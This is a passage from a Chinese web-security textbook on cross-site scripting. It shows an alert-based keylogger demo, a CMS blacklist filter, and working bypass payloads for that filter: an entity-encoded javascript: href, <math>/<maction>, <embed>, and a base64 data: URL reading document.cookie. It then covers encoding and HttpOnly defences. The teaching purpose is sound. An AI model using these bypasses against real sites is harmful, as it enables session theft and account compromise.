当用户在访问登录、注册、支付等页面时,在页面下的按键操作一般都是输入账号、密码等重要信息。如果攻击者在这些页面构造了跨站攻击脚本,便可记录用户的按键信息,并将信息传输到自己的远程服务器,那么用户的密码等资料便发生了泄漏。此处为了更好地演示效果,将监听到的用户按键直接采用网页弹窗弹出。构造的跨站代码如下:
<script> function keyDown(){ var realkey = String.fromCharCode(event.keyCode); alert(realkey); } document.onkeydown = keyDown; </script>
此段代码的效果是对键盘点击进行赋值并用alert方式弹出。
在演示环境中进行演示,只需要点击“监听代码”,这段代码会自动填充。然后点击“提交”按钮提交数据。执行过程如图2-22所示。
图2-22 实现监听用户键盘输入内容
提交之后刷新页面。此时,按下键盘上的任意按键,网页将会出现弹窗,弹窗内容为按键信息。如图2-22a所示,这就是一个简单获取键盘输入值的脚本。如果不用alert方式而是将数值发送到远端服务器,那么就会出现更多的安全问题。
2.6 XSS漏洞的标准防护方法
XSS的原理比较直观,就是注入一段能够被浏览器解释执行的代码,并且通过各类手段使得这段代码“镶嵌”在正常网页中,由用户在正常访问中触发。然而,一旦此类安全问题和代码联系起来,会直接导致镶嵌的内容千变万化。因此,XSS漏洞一旦被利用,所造成的危害往往不是出现一个弹窗那么简单。XSS作为安全漏洞已出现在安全人员及公众视野多年,防护思路相对成熟,但是要想很好地防御它却不是那么简单。究其原因,一是客户端使用的Web浏览器本身就存在很多安全问题,而这些浏览器正好是XSS的攻击主战场;二是Web应用程序中存在广泛的输入/输出交互点,开发人员却常常忽视此问题,即使已经存在数量巨大的漏洞,在没有影响正常业务开展的情况下,开发人员也无暇去修补。
图2-23给出了XSS攻击流程及问题点。
图2-23 XSS攻击攻防流程图
2.6.1 过滤特殊字符
在前面提到过一些关于过滤特殊字符的内容。过滤特殊字符的方法又称为XSS Filter,其作用就是过滤客户端提交的有害信息,从而防范XSS攻击。XSS攻击代码要想执行,必须使用一些脚本中的关键函数或者标签,如果能编写一个较为严密的过滤函数,将输入信息中的关键字过滤掉,那么跨站脚本就不能被浏览器识别和执行了。下面来看网络上一个比较通用的XSS Filter代码:
这段XSS Filter过滤了许多HTML特性、JavaScript关键字、空字符、特殊字符,考虑得相对全面,看起来已经十分严格,目前很多XSS防护方案都采用这段代码来针对输入信息进行预处理。然而,对于技术高超的攻击者,完全能找到有效对策绕过过滤,主要是利用新增的HTML标签实现。这也是一种有力的提醒,即便有了防御手段,也不能保证绝对的安全,还需要动态调整过滤项目,切不可掉以轻心。
可造成的影响分析
在某个CMS中利用了类似上述Filter的过滤代码。代码如下:
function remove_xss($string) { $string = preg_replace('/[-BCE-FF]+/S', '', $string); $parm1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'script', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); $parm = array_merge($parm1, $parm2); for ($i = 0; $i < sizeof($parm); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($parm[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[x|X]0([9][a][b]); ? )? '; $pattern .= '|(�([9][10][13]); ? )? '; $pattern .= ')? '; } $pattern .= $parm[$i][$j]; } $pattern .= '/i'; $string = preg_replace($pattern, ' ', $string); } return $string; }
可以看到,当匹配到危险字符之后,就会自动将其替换成空格。分析其过滤的关键词,发现其过滤函数过滤得比较全面,但是仍然存在绕过的可能。针对这个防护代码,目前有效的绕过手段如下:
1)href属性中的伪协议仍然有效。
href(Hypertext Reference)属性可用来指定一个目标的URL地址。这里以一个富文本编辑框功能为例,富文本编辑框会在<a>标签中利用href属性,在用户传入的参数前面加上http://来构成URL。但如果可成功利用传入的参数构造语句为“<a href=javascript:alert('/a/')>adas</a>”,则与直接执行javascript:alert('/a/')的效果完全相同。
这里以用户传入参数正常参数为例。输出后页面的源码如图2-24所示。
图2-24 参数输出位置
可以看到,传入的参数前面添加了“http//”,这就导致如果传入的参数中含有JS脚本,则会被拼接成网址,也就无法执行。整个语句与上述的利用思路非常相似,因此可尝试构造传参语句为javascript:alert('/a/')。但由于在过滤代码中已经对javascript关键词进行了过滤,因此可尝试抓包修改,并对敏感字符进行HTML实体化编码实现绕过。如图2-25所示。
图2-25 利用HTML实体化编码绕过过滤脚本
这里将“javascript”中的字符“s”进行了实体化编码,对应的HTML实体化编码为s,这样可绕过原有关键词的过滤防护。之后,在后台浏览的时候就会触发XSS漏洞,如图2-26所示。
图2-26 成功绕过防护脚本并执行
2)利用HTML5新增标签。
除了用伪协议之外,对于黑名单可以寻找没有过滤的标签,比如HTML5中的各类新增标签。例如,对于<math>标签,可以构造这样的Payload:
<math> <maction xlink:href="javascript:alert(/xss/)">hello world</maction> </math>
此标签包含动态属性,可以在Firefox中触发。效果如图2-27所示。
图2-27 在Firefox下执行<math>标签
此外,经过大量关键词测试,发现<embed>标签没有被过滤。因此Payload可构造为:
<embed src="javascript:alert(1)"/>
执行效果如上所示。
它同样能在Firefox下触发,效果与上例相同。针对这类绕过方法,最有效的防护手段就是在过滤脚本中添加遗漏的标签。
3)利用DataUrl协议,引用外域的资源。
Data协议独立运行,可根据定义格式创建独立的内容,并且可通过继承方式来获得发起该URL的页面的某些操作权限。
使用格式是:
Data:资源类型;编码,内容
<a href="data:text/html; base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3Jp
cHQ+">click me
</a>
其中,Base64编码的内容是<script>alert(document.cookie)</script>。
这种用法可在火狐浏览器中触发并出现弹窗显示当前用户的Cookie信息。在Chrome下可执行成功,但不会显示用户的Cookie信息。这是由于Chrome默认为空域,因此执行此语句后,无法直接获得用户的Cookie信息,也就无法出现弹窗显示。但利用此方法构造的其他各类弹框语句或其他行为依然可执行。
2.6.2 使用实体化编码
在测试和使用的跨站代码中几乎都会使用到一些常见的特殊符号。有了这些特殊符号,攻击者就可以肆意地进行闭合标签、篡改页面、提交请求等行为。在输出内容之前,如果能够对特殊字符进行编码和转义,让浏览器能知道这些字符是被用作文字显示而不是作为代码执行,就会使攻击代码无法被浏览器执行。编码的方式有很多种,每种都适应于不同的环境。下面介绍两种常见的安全编码。
1.HTML编码
这种方案是对HTML中特殊字符的重新编码,称为HTML Encode。为了对抗XSS,需要将一些特殊符号进行HTML实体化编码。在PHP中,可以使用htmlspecialchars()来进行编码,编码的转换方式如下:
当网页中输出这些已经被HTML实体化编码的特殊符号时,在HTML源码中会显示为编码后的字符,并由浏览器将它们翻译成特殊字符并在用户页面上显示。通俗点说,HTML是替换编码,告知浏览器哪些特殊字符只能作为文本显示,不能当作代码执行。从而规避了XSS风险。
一句话总结:实体化编码的意义在于严格限定了数据就是数据,避免数据被当成代码进行执行。
2.JavaScript编码
与上述情况类似,用户的输入信息有时候会被嵌入JavaScript代码块中,作为动态内容输出。从安全角度和JS语言的特性考虑,需要对输出信息中的特殊字符进行转义。通常情况下,可使用函数来完成下面的转义规则:
采用这种方法进行防御的时候,要求输出的内容在双引号的范围内,才能保证安全。不过,回顾前面讲到的宽字节绕过,使用此种转义规则的时候还需要考虑网页的编码问题。当然,也可以使用更加严格的转义规则来保证安全。在OWASP ESAPI中有一个安全的转义函数encodeCharacter(),它将除数字、字母之外的所有字符都用十六进制“\xHH”的方式进行编码。
2.6.3 HttpOnly
HttpOnly最早由微软提出,是Cookie的一项属性。如果一个Cookie值设置了这个属性,那么浏览器将禁止页面的JavaScript访问这个Cookie。窃取用户Cookie是攻击者利用XSS漏洞进行攻击的主要方式之一,如果JS脚本不具备读取Cookie的权限,那窃取用户Cookie的这项攻击也就宣告失败了。
这里需要强调的是,HttpOnly只是一个防止Cookie被恶意读取的设置,仅仅可阻碍跨站攻击行为偷取当前用户的Cookie信息,并没有从根本上解决XSS的问题。只要XSS漏洞还存在,攻击者就可以利用漏洞进行其他的攻击。但从保护用户的Cookie角度来说,HttpOnly有很大的防护作用,但不建议单独使用,还应该配合上述防御措施来达到良好的防护效果。
在PHP下开启HttpOnly的方式如下:
1)找到PHP.ini,寻找并开启标签session.cookie_httponly = true,从而开启全局的Cookie的HttpOnly属性。
2)Cookie操作函数setcookie和setrawcookie专门添加了第7个参数来作为HttpOnly的选项,开启方法为:
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE); setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
在实际应用中,HttpOnly没有被广泛使用,这是从业务便利性角度进行的选择。比如,在网站做广告推荐时,会利用JS脚本读取当前用户Cookie信息以作精准推广,如果开启HttpOnly,则上述效果会失效。因此,推荐在一些管理系统或专项系统中使用HttpOnly。其余系统需根据业务特点选择是否开启,毕竟HttpOnly针对XSS的防护效果极其有限。
2.7 本章小结
用户访问网站的基本方式就是浏览页面,并且与网站产生交互行为。XSS漏洞的核心问题在于当前页面没有明确区分用户参数与代码,导致由客户端提交的恶意代码会回显给客户端并且执行。解决XSS漏洞的基本思路是过滤+实体化编码,无论哪种方法都可以使恶意代码无法执行。相对于XSS漏洞可直接威胁到用户安全的效果,如果Web应用没有做好对当前用户身份的校验,还可能会遭受请求伪造攻击,下一章将讨论这个问题。